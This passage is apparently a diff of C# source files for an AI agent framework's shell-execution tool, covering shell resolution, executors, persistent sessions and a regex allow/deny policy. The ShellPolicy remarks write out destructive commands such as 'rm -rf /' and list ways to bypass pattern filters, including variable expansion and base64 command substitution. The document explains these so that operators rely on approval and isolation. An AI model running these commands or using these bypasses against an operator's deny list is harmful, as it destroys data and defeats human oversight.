+        if (!string.IsNullOrEmpty(snapshot.WorkingDirectory))
+        {
+            _ = sb.Append("Working directory: ").AppendLine(snapshot.WorkingDirectory);
+        }
+
+        var installed = snapshot.ToolVersions
+            .Where(kv => kv.Value is not null)
+            .Select(kv => $"{kv.Key} ({kv.Value})")
+            .ToList();
+        var missing = snapshot.ToolVersions
+            .Where(kv => kv.Value is null)
+            .Select(kv => kv.Key)
+            .ToList();
+
+        if (installed.Count > 0)
+        {
+            _ = sb.Append("Available CLIs: ").AppendLine(string.Join(", ", installed));
+        }
+        if (missing.Count > 0)
+        {
+            _ = sb.Append("Not installed: ").AppendLine(string.Join(", ", missing));
+        }
+
+        return sb.ToString().TrimEnd();
+    }
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Collections.Generic;
+using System.Runtime.InteropServices;
+
+namespace Microsoft.Agents.AI.Tools.Shell;
+
+/// <summary>
+/// Configuration knobs for <see cref="ShellEnvironmentProvider"/>.
+/// </summary>
+public sealed class ShellEnvironmentProviderOptions
+{
+    /// <summary>
+    /// CLI tools whose <c>--version</c> output is probed and surfaced in
+    /// the agent context. Defaults to a small, common set.
+    /// </summary>
+    public IReadOnlyList<string> ProbeTools { get; init; } =
+        ["git", "dotnet", "node", "python", "docker"];
+
+    /// <summary>
+    /// Optional override for the auto-detected shell family. When
+    /// <see langword="null"/>, the family is inferred from
+    /// <see cref="RuntimeInformation"/> (Windows -> PowerShell, otherwise
+    /// POSIX). Set this when running against a non-default shell (e.g.,
+    /// bash on Windows via WSL, or pwsh on Linux).
+    /// </summary>
+    public ShellFamily? OverrideFamily { get; init; }
+
+    /// <summary>
+    /// Per-probe execution timeout. Failed or timed-out probes are
+    /// recorded as missing rather than thrown to the agent.
+    /// </summary>
+    public TimeSpan ProbeTimeout { get; init; } = TimeSpan.FromSeconds(5);
+
+    /// <summary>
+    /// Optional formatter for the instructions block. When
+    /// <see langword="null"/>, a built-in formatter is used.
+    /// </summary>
+    public Func<ShellEnvironmentSnapshot, string>? InstructionsFormatter { get; init; }
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+using System.Collections.Generic;
+using System.Runtime.InteropServices;
+
+namespace Microsoft.Agents.AI.Tools.Shell;
+
+/// <summary>
+/// A point-in-time snapshot of the shell environment the agent is using.
+/// </summary>
+/// <param name="Family">Shell family (PowerShell vs POSIX).</param>
+/// <param name="OSDescription"><see cref="RuntimeInformation.OSDescription"/>.</param>
+/// <param name="ShellVersion">Reported shell version, or <see langword="null"/> if probing failed.</param>
+/// <param name="WorkingDirectory">CWD at probe time, or empty if probing failed.</param>
+/// <param name="ToolVersions">Map of probed CLI tool name to reported version (or <see langword="null"/> when not installed).</param>
+public sealed record ShellEnvironmentSnapshot(
+    ShellFamily Family,
+    string OSDescription,
+    string? ShellVersion,
+    string WorkingDirectory,
+    IReadOnlyDictionary<string, string?> ToolVersions);
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+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+
+namespace Microsoft.Agents.AI.Tools.Shell;
+
+/// <summary>
+/// Pluggable backend that runs shell commands on behalf of a tool.
+/// </summary>
+/// <remarks>
+/// <para>
+/// <see cref="LocalShellExecutor"/> runs commands directly on the host (no
+/// isolation; approval-in-the-loop is the security boundary).
+/// <see cref="DockerShellExecutor"/> runs them inside a container with resource
+/// limits, network isolation, and a non-root user.
+/// </para>
+/// <para>
+/// This is an abstract class rather than an interface so the surface can be
+/// extended in future versions (e.g., adding new lifecycle hooks) without
+/// breaking existing third-party implementations. Mirrors the Python
+/// <c>ShellExecutor</c> Protocol in
+/// <c>agent_framework_tools.shell._executor_base</c>.
+/// </para>
+/// <para>
+/// Lifetime: <see cref="InitializeAsync"/> is invoked at most once per
+/// instance (idempotent); <see cref="DisposeAsync"/> tears the executor down
+/// at the end of its life. There is no public Shutdown step — disposal is the
+/// teardown.
+/// </para>
+/// <para>
+/// <b>Concurrency and session ownership.</b> A single executor instance is
+/// intended to serve a single conversation / agent session — i.e., a single
+/// user. Stateless mode is safe to share across concurrent callers (each
+/// <c>RunAsync</c> spawns a fresh process or container, so there is no
+/// shared mutable state). Persistent mode is <em>not</em> shareable: a
+/// single long-lived shell process backs every call, it carries mutable
+/// state (working directory, exported variables, history, in-flight
+/// background jobs) that is visible to every subsequent command, and
+/// concurrent commands would interleave on its stdin/stdout. The framework
+/// does not isolate one caller's state from another's. Build one executor
+/// per session, treat it as owned by that session for its lifetime, and
+/// dispose it when the session ends. If you register an executor with a DI
+/// container, use a per-request / per-conversation scope, not a singleton.
+/// </para>
+/// </remarks>
+public abstract class ShellExecutor : IAsyncDisposable
+{
+    /// <summary>
+    /// Eagerly initialize the backend. Idempotent; subsequent calls are
+    /// no-ops once the executor is started. For stateless executors this is
+    /// typically a no-op (the default implementation returns
+    /// <see cref="Task.CompletedTask"/>).
+    /// </summary>
+    /// <param name="cancellationToken">Cancellation token.</param>
+    public virtual Task InitializeAsync(CancellationToken cancellationToken = default) => Task.CompletedTask;
+
+    /// <summary>
+    /// Run a single command and return its result. Implementations are
+    /// expected to apply the configured per-command timeout and surface it
+    /// via <see cref="ShellResult.TimedOut"/> + <c>ExitCode = 124</c>.
+    /// </summary>
+    /// <param name="command">The shell command to execute.</param>
+    /// <param name="cancellationToken">Cancellation token.</param>
+    public abstract Task<ShellResult> RunAsync(string command, CancellationToken cancellationToken = default);
+
+    /// <inheritdoc />
+    public abstract ValueTask DisposeAsync();
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+namespace Microsoft.Agents.AI.Tools.Shell;
+
+/// <summary>
+/// Identifies the shell family the agent is talking to.
+/// </summary>
+public enum ShellFamily
+{
+    /// <summary>POSIX-style shell (bash, sh, zsh).</summary>
+    Posix,
+
+    /// <summary>PowerShell (pwsh or Windows PowerShell).</summary>
+    PowerShell,
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+namespace Microsoft.Agents.AI.Tools.Shell;
+
+/// <summary>
+/// Specifies how a shell executor dispatches commands to the underlying shell.
+/// </summary>
+public enum ShellMode
+{
+    /// <summary>
+    /// Each command runs in a fresh shell subprocess. State (working directory,
+    /// environment variables) is reset between calls.
+    /// </summary>
+    Stateless,
+
+    /// <summary>
+    /// A single long-lived shell subprocess is reused across calls so
+    /// <c>cd</c> and exported / <c>$env:</c> variables persist between
+    /// invocations. Commands are executed via a sentinel protocol that
+    /// brackets stdout to determine completion. This is the recommended
+    /// default for coding agents because it eliminates the "agent runs cd
+    /// and then runs the wrong path" failure class.
+    /// <para>
+    /// <b>Single-session ownership.</b> Because the underlying shell carries
+    /// mutable state (working directory, exported variables, function
+    /// definitions, shell history) that is intentionally visible to every
+    /// command run through it, a persistent-mode executor instance is meant
+    /// to be owned by exactly one conversation / agent session. Sharing one
+    /// instance across users, tenants, or concurrent conversations leaks
+    /// state between them and serializes their commands behind a single
+    /// stdin/stdout pipe. If you need multiple sessions, create one
+    /// executor per session (and dispose it when the session ends), or use
+    /// <see cref="Stateless"/>.
+    /// </para>
+    /// </summary>
+    Persistent,
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Collections.Generic;
+using System.Text.RegularExpressions;
+
+namespace Microsoft.Agents.AI.Tools.Shell;
+
+/// <summary>
+/// A shell command awaiting a policy decision.
+/// </summary>
+/// <remarks>
+/// Plain <see langword="readonly struct"/> rather than a record struct: the
+/// type carries no equality semantics that callers care about, and the
+/// minimal POCO is cheaper than the synthesized record machinery.
+/// </remarks>
+public readonly struct ShellRequest : IEquatable<ShellRequest>
+{
+    /// <summary>Initializes a new instance of the <see cref="ShellRequest"/> struct.</summary>
+    /// <param name="command">The full command line that the agent wants to run.</param>
+    /// <param name="workingDirectory">Optional working directory the command will execute in, if known.</param>
+    public ShellRequest(string command, string? workingDirectory = null)
+    {
+        this.Command = command;
+        this.WorkingDirectory = workingDirectory;
+    }
+
+    /// <summary>Gets the full command line that the agent wants to run.</summary>
+    public string Command { get; }
+
+    /// <summary>Gets the optional working directory the command will execute in, if known.</summary>
+    public string? WorkingDirectory { get; }
+
+    /// <inheritdoc />
+    public bool Equals(ShellRequest other) =>
+        string.Equals(this.Command, other.Command, StringComparison.Ordinal)
+        && string.Equals(this.WorkingDirectory, other.WorkingDirectory, StringComparison.Ordinal);
+
+    /// <inheritdoc />
+    public override bool Equals(object? obj) => obj is ShellRequest r && this.Equals(r);
+
+    /// <inheritdoc />
+    public override int GetHashCode() => HashCode.Combine(this.Command, this.WorkingDirectory);
+
+    /// <summary>Equality operator.</summary>
+    public static bool operator ==(ShellRequest left, ShellRequest right) => left.Equals(right);
+
+    /// <summary>Inequality operator.</summary>
+    public static bool operator !=(ShellRequest left, ShellRequest right) => !left.Equals(right);
+}
+
+/// <summary>
+/// The outcome of a <see cref="ShellPolicy"/> evaluation.
+/// </summary>
+public readonly struct ShellPolicyOutcome : IEquatable<ShellPolicyOutcome>
+{
+    /// <summary>Initializes a new instance of the <see cref="ShellPolicyOutcome"/> struct.</summary>
+    /// <param name="allowed"><see langword="true"/> when the command may run.</param>
+    /// <param name="reason">Human-readable rationale; populated for both allow and deny when applicable.</param>
+    public ShellPolicyOutcome(bool allowed, string? reason = null)
+    {
+        this.Allowed = allowed;
+        this.Reason = reason;
+    }
+
+    /// <summary>Gets a value indicating whether the command may run.</summary>
+    public bool Allowed { get; }
+
+    /// <summary>Gets the human-readable rationale; populated for both allow and deny when applicable.</summary>
+    public string? Reason { get; }
+
+    /// <summary>Gets a default-allow outcome.</summary>
+    public static ShellPolicyOutcome Allow { get; } = new(true);
+
+    /// <summary>Build a deny outcome with a human-readable reason.</summary>
+    /// <param name="reason">The rationale to surface to the caller.</param>
+    /// <returns>A new <see cref="ShellPolicyOutcome"/>.</returns>
+    public static ShellPolicyOutcome Deny(string reason) => new(false, reason);
+
+    /// <inheritdoc />
+    public bool Equals(ShellPolicyOutcome other) =>
+        this.Allowed == other.Allowed
+        && string.Equals(this.Reason, other.Reason, StringComparison.Ordinal);
+
+    /// <inheritdoc />
+    public override bool Equals(object? obj) => obj is ShellPolicyOutcome o && this.Equals(o);
+
+    /// <inheritdoc />
+    public override int GetHashCode() => HashCode.Combine(this.Allowed, this.Reason);
+
+    /// <summary>Equality operator.</summary>
+    public static bool operator ==(ShellPolicyOutcome left, ShellPolicyOutcome right) => left.Equals(right);
+
+    /// <summary>Inequality operator.</summary>
+    public static bool operator !=(ShellPolicyOutcome left, ShellPolicyOutcome right) => !left.Equals(right);
+}
+
+/// <summary>
+/// Layered allow/deny pattern filter for shell commands.
+/// </summary>
+/// <remarks>
+/// <para>
+/// <b>This is not a security control.</b> It is a regex-based pre-filter
+/// that operators can use to fast-fail literal commands they would rather
+/// see rejected with a clear error than run (e.g. site-specific patterns
+/// like a production hostname, or obviously-destructive shapes like
+/// <c>rm -rf /</c>). Pattern-based filters are trivially bypassed by
+/// variable expansion (<c>${RM:=rm} -rf /</c>), interpreter escapes
+/// (<c>python -c "…"</c>), command substitution
+/// (<c>$(base64 -d &lt;&lt;&lt; …)</c>, <c>$(echo -e "\xNN…")</c>),
+/// envvar splicing (<c>$(A=r B=m; echo $A$B)</c>), alternative tools
+/// (<c>find / -delete</c>), or PowerShell-native verbs
+/// (<c>Remove-Item -Recurse -Force</c>). The real security boundary is
+/// approval-in-the-loop (see <see cref="LocalShellExecutor"/>,
+/// <see cref="DockerShellExecutor"/>) and container isolation (Docker).
+/// No major agent framework relies on pattern matching as a primary
+/// shell-command defense for these reasons.
+/// </para>
+/// <para>
+/// <b>No default patterns.</b> A <see cref="ShellPolicy"/> constructed
+/// with no arguments has an empty deny list and an empty allow list —
+/// it will allow any non-empty command. Operators who want pre-execution
+/// rejection of specific shapes must supply their own
+/// <paramref>denyList</paramref>.
+/// </para>
+/// <para>
+/// <b>Evaluation order — allow short-circuits deny.</b> Allow patterns are
+/// checked first; a match returns immediately without consulting the deny
+/// list. Use allow patterns sparingly (and prefer narrowly anchored regexes
+/// like <c>^git\s+status$</c> rather than substring matches), because an
+/// over-broad allow pattern can re-enable a command that the deny list was
+/// supposed to block.
+/// </para>
+/// </remarks>
+public sealed class ShellPolicy
+{
+    private readonly IReadOnlyList<Regex> _denies;
+    private readonly IReadOnlyList<Regex> _allows;
+
+    /// <summary>
+    /// Initializes a new instance of the <see cref="ShellPolicy"/> class.
+    /// </summary>
+    /// <param name="denyList">
+    /// Patterns that trigger a deny outcome. <see langword="null"/> or an
+    /// empty collection disables the deny list entirely.
+    /// </param>
+    /// <param name="allowList">
+    /// Optional explicit-allow patterns. A match here short-circuits the
+    /// deny list and is useful when the caller knows the command is safe.
+    /// </param>
+    public ShellPolicy(IEnumerable<string>? denyList = null, IEnumerable<string>? allowList = null)
+    {
+        var deny = new List<Regex>();
+        if (denyList is not null)
+        {
+            foreach (var pattern in denyList)
+            {
+                deny.Add(new Regex(pattern, RegexOptions.Compiled | RegexOptions.IgnoreCase));
+            }
+        }
+        this._denies = deny;
+
+        var allow = new List<Regex>();
+        if (allowList is not null)
+        {
+            foreach (var pattern in allowList)
+            {
+                allow.Add(new Regex(pattern, RegexOptions.Compiled | RegexOptions.IgnoreCase));
+            }
+        }
+        this._allows = allow;
+    }
+
+    /// <summary>
+    /// Evaluate <paramref name="request"/> and return an outcome.
+    /// </summary>
+    /// <remarks>
+    /// Order of operations: empty-command guard → explicit allow patterns
+    /// (a match short-circuits with <see cref="ShellPolicyOutcome.Allow"/>)
+    /// → deny patterns (first match wins) → default allow.
+    /// </remarks>
+    /// <param name="request">The request to evaluate.</param>
+    /// <returns>An allow or deny outcome.</returns>
+    public ShellPolicyOutcome Evaluate(ShellRequest request)
+    {
+        var command = request.Command?.Trim() ?? string.Empty;
+        if (command.Length == 0)
+        {
+            return ShellPolicyOutcome.Deny("empty command");
+        }
+
+        foreach (var allow in this._allows)
+        {
+            if (allow.IsMatch(command))
+            {
+                return new ShellPolicyOutcome(true, "matched allow pattern");
+            }
+        }
+
+        foreach (var deny in this._denies)
+        {
+            if (deny.IsMatch(command))
+            {
+                return ShellPolicyOutcome.Deny($"matched deny pattern: {deny}");
+            }
+        }
+
+        return ShellPolicyOutcome.Allow;
+    }
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Runtime.InteropServices;
+
+namespace Microsoft.Agents.AI.Tools.Shell;
+
+/// <summary>
+/// Resolves which shell binary and which argv to launch for the current OS.
+/// </summary>
+/// <remarks>
+/// Resolution order:
+/// <list type="bullet">
+/// <item><description>Windows: prefer <c>pwsh</c>, fall back to <c>powershell.exe</c>, then <c>cmd.exe</c>.</description></item>
+/// <item><description>Linux / macOS: prefer <c>/bin/bash</c>, fall back to <c>/bin/sh</c>.</description></item>
+/// <item><description>Override via the constructor argument or the <c>AGENT_FRAMEWORK_SHELL</c> environment variable.</description></item>
+/// </list>
+/// </remarks>
+internal static class ShellResolver
+{
+    /// <summary>
+    /// The environment variable consulted by <see cref="Resolve"/> to override
+    /// the default shell selection (e.g. <c>AGENT_FRAMEWORK_SHELL=/usr/bin/bash</c>).
+    /// </summary>
+    public const string EnvVarName = "AGENT_FRAMEWORK_SHELL";
+
+    /// <summary>Resolve the shell binary and the per-command argv prefix.</summary>
+    public static ResolvedShell Resolve(string? overrideShell = null)
+    {
+        var requested = overrideShell ?? Environment.GetEnvironmentVariable(EnvVarName);
+        if (!string.IsNullOrWhiteSpace(requested))
+        {
+            return ClassifyExplicit(requested!);
+        }
+
+        if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
+        {
+            if (TryFindOnPath("pwsh", out var pwsh))
+            {
+                return new ResolvedShell(pwsh, ShellKind.PowerShell);
+            }
+            if (TryFindOnPath("powershell", out var winps))
+            {
+                return new ResolvedShell(winps, ShellKind.PowerShell);
+            }
+            return new ResolvedShell(Path.Combine(SystemRoot(), "System32", "cmd.exe"), ShellKind.Cmd);
+        }
+
+        if (File.Exists("/bin/bash"))
+        {
+            return new ResolvedShell("/bin/bash", ShellKind.Bash);
+        }
+        return new ResolvedShell("/bin/sh", ShellKind.Sh);
+    }
+
+    /// <summary>
+    /// Resolve from an explicit argv list. The first element is treated as
+    /// the binary; the rest are passed as a launch-time prefix preceding
+    /// the standard <c>-c</c> / <c>-Command</c> / persistent suffix.
+    /// </summary>
+    public static ResolvedShell ResolveArgv(IReadOnlyList<string> shellArgv)
+    {
+        if (shellArgv is null)
+        {
+            throw new ArgumentNullException(nameof(shellArgv));
+        }
+        if (shellArgv.Count == 0)
+        {
+            throw new ArgumentException("shellArgv must contain at least the binary path.", nameof(shellArgv));
+        }
+        var binary = shellArgv[0];
+        var kind = ClassifyKind(binary);
+        var extra = shellArgv.Count > 1 ? new string[shellArgv.Count - 1] : Array.Empty<string>();
+        for (var i = 1; i < shellArgv.Count; i++)
+        {
+            extra[i - 1] = shellArgv[i];
+        }
+        return new ResolvedShell(binary, kind, ExtraArgv: extra);
+    }
+
+    private static ResolvedShell ClassifyExplicit(string path) =>
+        new(path, ClassifyKind(path));
+
+    private static ShellKind ClassifyKind(string path)
+    {
+        var name = Path.GetFileNameWithoutExtension(path).ToUpperInvariant();
+        return name switch
+        {
+            "PWSH" or "POWERSHELL" => ShellKind.PowerShell,
+            "CMD" => ShellKind.Cmd,
+            "BASH" => ShellKind.Bash,
+            // All other POSIX shells (sh, zsh, dash, ash, ksh, busybox, ...)
+            // are launched as plain sh so we don't pass bash-only flags like
+            // --noprofile / --norc, which zsh and dash reject.
+            _ => ShellKind.Sh,
+        };
+    }
+
+    private static bool TryFindOnPath(string name, out string fullPath)
+    {
+        var pathEnv = Environment.GetEnvironmentVariable("PATH");
+        if (string.IsNullOrEmpty(pathEnv))
+        {
+            fullPath = string.Empty;
+            return false;
+        }
+        var exts = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+            ? new[] { ".exe", ".cmd", ".bat", string.Empty }
+            : new[] { string.Empty };
+        foreach (var dir in pathEnv!.Split(Path.PathSeparator))
+        {
+            if (string.IsNullOrEmpty(dir))
+            {
+                continue;
+            }
+            foreach (var ext in exts)
+            {
+                var candidate = Path.Combine(dir, name + ext);
+                if (File.Exists(candidate))
+                {
+                    fullPath = candidate;
+                    return true;
+                }
+            }
+        }
+        fullPath = string.Empty;
+        return false;
+    }
+
+    private static string SystemRoot() =>
+        Environment.GetEnvironmentVariable("SystemRoot") ?? @"C:\Windows";
+}
+
+/// <summary>Identifies the dialect of the resolved shell.</summary>
+internal enum ShellKind
+{
+    /// <summary>POSIX bash; supports <c>--noprofile</c> / <c>--norc</c>.</summary>
+    Bash,
+    /// <summary>PowerShell (pwsh or Windows PowerShell).</summary>
+    PowerShell,
+    /// <summary>Windows cmd.exe.</summary>
+    Cmd,
+    /// <summary>Generic POSIX shell (sh, zsh, dash, ash, ksh, busybox) — bash-only flags are not passed.</summary>
+    Sh,
+}
+
+internal readonly record struct ResolvedShell(string Binary, ShellKind Kind, IReadOnlyList<string>? ExtraArgv = null)
+{
+    public IReadOnlyList<string> StatelessArgvForCommand(string command)
+    {
+        var extra = this.ExtraArgv ?? Array.Empty<string>();
+        var suffix = this.Kind switch
+        {
+            ShellKind.PowerShell => new[]
+            {
+                "-NoProfile",
+                "-NoLogo",
+                "-NonInteractive",
+                "-Command",
+                command,
+            },
+            ShellKind.Cmd => new[] { "/d", "/c", command },
+            ShellKind.Sh => new[] { "-c", command },
+            _ => new[] { "--noprofile", "--norc", "-c", command },
+        };
+        if (extra.Count == 0)
+        {
+            return suffix;
+        }
+        var combined = new string[extra.Count + suffix.Length];
+        for (var i = 0; i < extra.Count; i++) { combined[i] = extra[i]; }
+        for (var i = 0; i < suffix.Length; i++) { combined[extra.Count + i] = suffix[i]; }
+        return combined;
+    }
+
+    /// <summary>
+    /// Argv for launching a long-lived shell that reads commands from stdin.
+    /// </summary>
+    public IReadOnlyList<string> PersistentArgv()
+    {
+        var extra = this.ExtraArgv ?? Array.Empty<string>();
+        var suffix = this.Kind switch
+        {
+            ShellKind.PowerShell => new[]
+            {
+                "-NoProfile",
+                "-NoLogo",
+                "-NonInteractive",
+                "-Command",
+                "-",
+            },
+            ShellKind.Cmd => throw new NotSupportedException(
+                "Persistent mode is not supported for cmd.exe — use pwsh, powershell, or a POSIX shell."),
+            ShellKind.Sh => Array.Empty<string>(),
+            _ => new[] { "--noprofile", "--norc" },
+        };
+        if (extra.Count == 0)
+        {
+            return suffix;
+        }
+        var combined = new string[extra.Count + suffix.Length];
+        for (var i = 0; i < extra.Count; i++) { combined[i] = extra[i]; }
+        for (var i = 0; i < suffix.Length; i++) { combined[extra.Count + i] = suffix[i]; }
+        return combined;
+    }
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Text;
+
+namespace Microsoft.Agents.AI.Tools.Shell;
+
+/// <summary>
+/// The outcome of a single shell command invocation.
+/// </summary>
+/// <param name="Stdout">Captured standard output, possibly truncated.</param>
+/// <param name="Stderr">Captured standard error, possibly truncated.</param>
+/// <param name="ExitCode">The exit status reported by the shell or subprocess. <c>-1</c> if the process never exited cleanly.</param>
+/// <param name="Duration">How long the command took to execute end-to-end.</param>
+/// <param name="Truncated"><see langword="true"/> when stdout or stderr was truncated.</param>
+/// <param name="TimedOut"><see langword="true"/> when the command was killed because it exceeded the configured timeout.</param>
+public sealed record ShellResult(
+    string Stdout,
+    string Stderr,
+    int ExitCode,
+    TimeSpan Duration,
+    bool Truncated = false,
+    bool TimedOut = false)
+{
+    /// <summary>
+    /// Format the result as a single text block suitable for return to a language model.
+    /// </summary>
+    /// <returns>A multi-line string combining stdout, stderr, status flags, and the exit code.</returns>
+    public string FormatForModel()
+    {
+        var sb = new StringBuilder();
+        if (!string.IsNullOrEmpty(this.Stdout))
+        {
+            _ = sb.Append(this.Stdout);
+            if (this.Truncated)
+            {
+                _ = sb.AppendLine().Append("[stdout truncated]");
+            }
+            _ = sb.AppendLine();
+        }
+        if (!string.IsNullOrEmpty(this.Stderr))
+        {
+            _ = sb.Append("stderr: ").Append(this.Stderr).AppendLine();
+        }
+        if (this.TimedOut)
+        {
+            _ = sb.AppendLine("[command timed out]");
+        }
+        _ = sb.Append("exit_code: ").Append(this.ExitCode);
+        return sb.ToString();
+    }
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Globalization;
+using System.IO;
+using System.Runtime.InteropServices;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+
+namespace Microsoft.Agents.AI.Tools.Shell;
+
+/// <summary>
+/// A long-lived shell subprocess that executes commands one at a time using a
+/// <b>sentinel protocol</b> to mark command boundaries. State (current
+/// directory, exported variables, function definitions, etc.) is preserved
+/// across calls.
+/// </summary>
+/// <remarks>
+/// <para>
+/// <b>Single-owner contract.</b> A <see cref="ShellSession"/> is owned by exactly one
+/// conversation / agent session — i.e., one user. The backing shell process carries
+/// mutable state (cwd, exported variables, history, background jobs) that every
+/// subsequent command can observe, and <c>_runLock</c> serializes every call onto the
+/// single stdin/stdout pipe. There is no per-caller isolation. The enclosing executor
+/// must not share a single session across users, tenants, or concurrent conversations;
+/// it must create one session per agent session and dispose it when the session ends.
+/// </para>
+/// <para>
+/// Cross-OS implementation notes:
+/// </para>
+/// <list type="bullet">
+/// <item>
+/// PowerShell hosted with <c>-Command -</c> waits for a complete parse before
+/// executing. Multi-line <c>try { ... }</c> blocks therefore stall with stdin
+/// open, so the user command is base64-encoded and invoked with
+/// <c>Invoke-Expression</c> on a single line.
+/// </item>
+/// <item>
+/// <c>Write-Output</c> may drop trailing newlines when stdout is redirected.
+/// The sentinel is therefore emitted via <c>[Console]::WriteLine</c> +
+/// <c>[Console]::Out.Flush()</c>.
+/// </item>
+/// <item>
+/// <c>$LASTEXITCODE</c> only tracks external-process exits, so the rc is
+/// derived from <c>$?</c> and caught exceptions as well.
+/// </item>
+/// <item>
+/// stdout/stderr are drained by long-running reader tasks; per-call buffer
+/// offsets are snapshotted before the command is written and scanned forward,
+/// which avoids late stderr being attributed to the next command.
+/// </item>
+/// </list>
+/// </remarks>
+internal sealed class ShellSession : IAsyncDisposable
+{
+    private const int ReadChunk = 64 * 1024;
+    private static readonly TimeSpan s_shutdownGrace = TimeSpan.FromSeconds(2);
+    // Brief quiescence to let late stderr drain after the sentinel is seen.
+    private static readonly TimeSpan s_stderrQuiescence = TimeSpan.FromMilliseconds(50);
+    // Time window to wait for the sentinel after we've sent SIGINT / Ctrl+C
+    // to the shell. If the sentinel still doesn't land we fall back to a
+    // hard close-and-respawn.
+    private static readonly TimeSpan s_interruptGrace = TimeSpan.FromMilliseconds(500);
+
+    private readonly ResolvedShell _shell;
+    private readonly string? _workingDirectory;
+    private readonly bool _confineWorkingDirectory;
+    private readonly IReadOnlyDictionary<string, string?>? _environment;
+    private readonly bool _cleanEnvironment;
+    private readonly int _maxOutputBytes;
+    // Serializes commands onto the single stdin/stdout pipe. This is an
+    // ordering primitive within one owning session; it is NOT a multi-tenant
+    // isolation mechanism. ShellSession is single-owner — see the type-level
+    // remarks. The lock just guarantees that concurrent calls from the one
+    // owner queue cleanly instead of interleaving on the pipe.
+    private readonly SemaphoreSlim _runLock = new(1, 1);
+    private readonly SemaphoreSlim _lifecycleLock = new(1, 1);
+    private readonly string _sentinelTag;
+
+    private Process? _proc;
+    private bool _isSessionLeader;
+    private Task? _stdoutReader;
+    private Task? _stderrReader;
+    private readonly List<byte> _stdoutBuf = new(capacity: 4096);
+    private readonly List<byte> _stderrBuf = new(capacity: 1024);
+    private readonly object _bufferGate = new();
+    private TaskCompletionSource<bool> _stdoutSignal = NewSignal();
+    private bool _stdoutClosed;
+
+    public ShellSession(
+        ResolvedShell shell,
+        string? workingDirectory,
+        bool confineWorkingDirectory,
+        IReadOnlyDictionary<string, string?>? environment,
+        bool cleanEnvironment,
+        int maxOutputBytes)
+    {
+        this._shell = shell;
+        this._workingDirectory = workingDirectory;
+        this._confineWorkingDirectory = confineWorkingDirectory;
+        this._environment = environment;
+        this._cleanEnvironment = cleanEnvironment;
+        this._maxOutputBytes = maxOutputBytes;
+        // Cryptographically-random tag prevents a rogue command from echoing
+        // a matching earlier sentinel.
+        var bytes = new byte[8];
+#if NET6_0_OR_GREATER
+        System.Security.Cryptography.RandomNumberGenerator.Fill(bytes);
+#else
+        using (var rng = System.Security.Cryptography.RandomNumberGenerator.Create())
+        {
+            rng.GetBytes(bytes);
+        }
+#endif
+#pragma warning disable CA1308 // sentinel tag is matched against shell-emitted lowercase hex; not for security or display
+        this._sentinelTag = Convert.ToHexString(bytes).ToLowerInvariant();
+#pragma warning restore CA1308
+    }
+
+    public async ValueTask DisposeAsync()
+    {
+        await this.CloseAsync().ConfigureAwait(false);
+        this._runLock.Dispose();
+        this._lifecycleLock.Dispose();
+    }
+
+    private async Task EnsureStartedAsync()
+    {
+        await this._lifecycleLock.WaitAsync().ConfigureAwait(false);
+        try
+        {
+#pragma warning disable RCS1146 // HasExited can throw on disposed proc; null check intentional
+            if (this._proc is not null && !this._proc.HasExited)
+#pragma warning restore RCS1146
+            {
+                return;
+            }
+
+            var startInfo = new ProcessStartInfo
+            {
+                FileName = this._shell.Binary,
+                RedirectStandardInput = true,
+                RedirectStandardOutput = true,
+                RedirectStandardError = true,
+                UseShellExecute = false,
+                CreateNoWindow = true,
+                WorkingDirectory = this._workingDirectory ?? Directory.GetCurrentDirectory(),
+            };
+
+            foreach (var arg in this._shell.PersistentArgv())
+            {
+                startInfo.ArgumentList.Add(arg);
+            }
+
+            // On POSIX, wrap the shell in `setsid` so the spawned process
+            // becomes a session leader (PID == PGID). This is what makes
+            // `killpg(proc.Id, SIGINT)` in InterruptCurrentCommandAsync
+            // correctly target the shell + its in-flight command instead
+            // of inheriting the agent host's process group. If setsid is
+            // not available we fall back to a direct launch and the
+            // interrupt path becomes a best-effort no-op (the caller's
+            // hard close-and-respawn handles the timeout case).
+            this._isSessionLeader = false;
+            if (!RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+                && TryFindSetsid(out var setsidPath))
+            {
+                var originalArgs = new List<string>(startInfo.ArgumentList);
+                startInfo.FileName = setsidPath;
+                startInfo.ArgumentList.Clear();
+                startInfo.ArgumentList.Add(this._shell.Binary);
+                foreach (var arg in originalArgs)
+                {
+                    startInfo.ArgumentList.Add(arg);
+                }
+                this._isSessionLeader = true;
+            }
+
+            if (this._cleanEnvironment)
+            {
+                // Strip everything inherited except the allowlist in
+                // EnvironmentSanitizer.PreservedVariables, so the shell can
+                // still locate itself and basic tools.
+                EnvironmentSanitizer.RemoveNonPreserved(startInfo.Environment);
+            }
+
+            if (this._environment is not null)
+            {
+                foreach (var kv in this._environment)
+                {
+                    if (kv.Value is null)
+                    {
+                        _ = startInfo.Environment.Remove(kv.Key);
+                    }
+                    else
+                    {
+                        startInfo.Environment[kv.Key] = kv.Value;
+                    }
+                }
+            }
+
+            this._stdoutBuf.Clear();
+            this._stderrBuf.Clear();
+            this._stdoutSignal = NewSignal();
+            this._stdoutClosed = false;
+
+            var proc = new Process { StartInfo = startInfo, EnableRaisingEvents = true };
+            _ = proc.Start();
+            this._proc = proc;
+
+            this._stdoutReader = Task.Run(() => this.ReadLoopAsync(proc.StandardOutput.BaseStream, this._stdoutBuf, isStdout: true));
+            this._stderrReader = Task.Run(() => this.ReadLoopAsync(proc.StandardError.BaseStream, this._stderrBuf, isStdout: false));
+
+            // Best-effort: make PowerShell emit UTF-8 so the sentinel is byte-clean.
+            if (this._shell.Kind == ShellKind.PowerShell)
+            {
+                await this.WriteRawAsync(
+                    "$OutputEncoding = [Console]::OutputEncoding = " +
+                    "[System.Text.UTF8Encoding]::new($false);" +
